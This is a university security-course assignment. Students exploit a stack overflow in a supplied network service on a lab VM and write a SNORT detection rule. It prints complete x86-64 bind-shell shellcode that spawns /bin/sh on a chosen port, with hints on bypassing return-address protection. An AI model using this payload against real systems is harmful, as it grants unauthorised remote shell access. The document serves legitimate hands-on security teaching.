CSI 5480 – Information Security Practice

Project 3 (Prj3)

Connects to the following learning outcomes:

Footprinting, scanning, and enumeration; common system vulnerabilities; system remediation and

hardening; intrusion detection; hands-on experiments on information security.

Grade Weight:

6%

Due date:

December 5th, at 23:59:59 PM.

Task Description

The challenge is to analyze, ethically exploit, and mitigate a stack overflow in a target executable.

Please follow the steps below to deploy the required files in your testbed and ethically develop the

exploit:

1) Decompress the archive Project3.zip. The files in that archive are the following:

a) stats, an ELF 64-bit LSB executable

b) stats.txt, a text file that is used to store statistical data

c) stats.c is the source code for the stats executable

2) Place the files stats and stats.txt on the Virtual Machine under the path “/usr/ctf/museum/html/cgi-

bin”. You can use sftp to upload those files onto the Virtual Machine.

3) Run the target executable stats on the Virtual Machine, and ethically exploit it over the virtual

network from the physical machine. Figuring out the port that stats listens on is part of the footprinting

and scanning challenge, so no information is given here at this time.

Students can use the publicly available shellcode from shell storm:

http://shell-storm.org/shellcode/files/shellcode-858.php

The actual shellcode is the following sequence of bytes:

“\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a”

“\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0”

“\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02″

PORT”\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05”

“\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31”

“\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59”

“\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48”

“\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a”

“\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54”

“\x5f\x6a\x3b\x58\x0f\x05”;

Do not forget to replace PORT with the two bytes that represent the port that you chose to connect to

and get a shell on the compromised machine. Once you inject the shellcode and execute it on the virtual

machine, you need to use netcat to connect to it on the port in question, and that is how you get the

shell.

The deliverable will be an exploit that interacts with the target executable stats such as to inject code

into its memory, and thus corrupt addresses such as to have the injected code executed. The injected

code should run a shell on the compromised machine.

As a mitigation, develop a SNORT rule that can detect your exploit without false positives.

Final considerations:

1) There is a mechanism in place to protect the saved instruction pointer, i.e., the return address, from corruption.

2) The stack may not be your only friend!

Good luck to you!

Grading Rubric

The following rubric details how your submission will be graded:

Accomplishment Points

Correct exploit with correct SNORT

signature.

6

Correct exploit but no working SNORT

signature.

4

Partially correct exploit with correct

SNORT signature.

3

Partially correct exploit with partially

correct SNORT signature.

2

Incorrect or no exploit. 0